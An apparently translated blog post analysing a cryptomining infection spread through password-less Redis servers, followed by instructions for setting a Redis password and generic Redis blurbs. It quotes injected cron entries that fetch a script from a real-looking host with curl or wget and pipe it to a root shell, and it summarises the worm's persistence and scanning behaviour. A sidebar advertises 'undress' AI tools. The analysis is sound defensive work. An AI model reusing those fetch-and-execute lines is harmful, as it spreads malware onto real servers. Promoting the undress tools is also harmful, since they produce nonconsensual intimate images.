Why does redis need to set a password?
You don’t need to set a password for the intranet environment, but it is necessary to set a password for personal servers and online public network servers.
Yesterday I checked minio's event notification in redis. When I checked the redis key, I found several unusual keys. backup1, backup2, backup3. Then I guessed it was a mining virus.
As shown below: In this way, the scheduled tasks and scripts are injected into our machine, and the init.sh script will start to be executed.
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
What is the content of the init.sh script?
en2an.top/cleanfda/in…
We can check the value of this key and get that it will request an address. Let’s open it and see what this init.sh is.
As shown below is a script file.
There are quite a lot of scripts for this. Turn off selinux, kill other people’s mining processes, and kill processes that take up too much CPU. If it’s your own, just skip it and modify it. Destroy system commands, create your own downloads() function, unlock and add locked tasks, add mining technology tasks, set up SSH password-free login, download and execute mining machine mining programs, turn off firewalls, clear logs, known infections For a password-free machine, download and execute is.sh.
What is the content of the is.sh script?
en2an.top/cleanfda/is…
As shown in the figure below, the init.sh above will download our is.sh script.
Let’s take a look at what this script does.
As shown in the picture below, this script has quite a lot of content. Download the masscan scanner, download the pnscan scanner, install redis to create a redis unauthorized access vulnerability, and execute rs.sh.
What is the content of the rs.sh script?
en2an.top/cleanfda/rs…
You can view the content of this script through the above link.
Open port 6379, automatically use redis to write scheduled tasks without authorization, use pnscan to scan IP 6379 port in segment b, and use masscan to scan ports.
How to set a password for Redis?
Through the above analysis, it can be concluded that the virus essentially works by injecting mining scripts into redis. If your redis does not have a password set and is exposed on the public Internet, be careful.
You can set the password for our redis in the following two ways.
Method 1: Modify our redis.conf configuration file
It should be noted that because this method modifies the configuration file, we need to restart our redis to take effect.
Find our redis.conf file.
Windows is shown in the figure below
We edit this file, find requirepass, release the comment, set the specified value, and restart redis to take effect.
Since the installation method may vary from person to person, I installed it through docker and mapped it. I won’t demonstrate it to you here. Find the redis directory installed on Linux and find the redis.conf configuration file. The same operation as in windows. After configuring, restart and it will be OK.
Method 2
Connect to our redis, and then set the password through instructions.
This method is relatively simple and takes effect without restarting.
The following command means to set the password to 123456. The public network should not set it so simply.
config set requirepass 123456
Let’s check our redis password.
config get requirepass
In this way, our password is set successfully, and it will take effect when we exit our redis client and connect again.
The above is the detailed content of What is the reason why Redis must set a password?. For more information, please follow other related articles on the PHP Chinese website!

Redis plays a key role in data storage and management, and has become the core of modern applications through its multiple data structures and persistence mechanisms. 1) Redis supports data structures such as strings, lists, collections, ordered collections and hash tables, and is suitable for cache and complex business logic. 2) Through two persistence methods, RDB and AOF, Redis ensures reliable storage and rapid recovery of data.

Redis is a NoSQL database suitable for efficient storage and access of large-scale data. 1.Redis is an open source memory data structure storage system that supports multiple data structures. 2. It provides extremely fast read and write speeds, suitable for caching, session management, etc. 3.Redis supports persistence and ensures data security through RDB and AOF. 4. Usage examples include basic key-value pair operations and advanced collection deduplication functions. 5. Common errors include connection problems, data type mismatch and memory overflow, so you need to pay attention to debugging. 6. Performance optimization suggestions include selecting the appropriate data structure and setting up memory elimination strategies.

The applications of Redis in the real world include: 1. As a cache system, accelerate database query, 2. To store the session data of web applications, 3. To implement real-time rankings, 4. To simplify message delivery as a message queue. Redis's versatility and high performance make it shine in these scenarios.

Redis stands out because of its high speed, versatility and rich data structure. 1) Redis supports data structures such as strings, lists, collections, hashs and ordered collections. 2) It stores data through memory and supports RDB and AOF persistence. 3) Starting from Redis 6.0, multi-threaded I/O operations have been introduced, which has improved performance in high concurrency scenarios.

RedisisclassifiedasaNoSQLdatabasebecauseitusesakey-valuedatamodelinsteadofthetraditionalrelationaldatabasemodel.Itoffersspeedandflexibility,makingitidealforreal-timeapplicationsandcaching,butitmaynotbesuitableforscenariosrequiringstrictdataintegrityo

Redis improves application performance and scalability by caching data, implementing distributed locking and data persistence. 1) Cache data: Use Redis to cache frequently accessed data to improve data access speed. 2) Distributed lock: Use Redis to implement distributed locks to ensure the security of operation in a distributed environment. 3) Data persistence: Ensure data security through RDB and AOF mechanisms to prevent data loss.

Redis's data model and structure include five main types: 1. String: used to store text or binary data, and supports atomic operations. 2. List: Ordered elements collection, suitable for queues and stacks. 3. Set: Unordered unique elements set, supporting set operation. 4. Ordered Set (SortedSet): A unique set of elements with scores, suitable for rankings. 5. Hash table (Hash): a collection of key-value pairs, suitable for storing objects.

Redis's database methods include in-memory databases and key-value storage. 1) Redis stores data in memory, and reads and writes fast. 2) It uses key-value pairs to store data, supports complex data structures such as lists, collections, hash tables and ordered collections, suitable for caches and NoSQL databases.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

Dreamweaver Mac version
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

WebStorm Mac version
Useful JavaScript development tools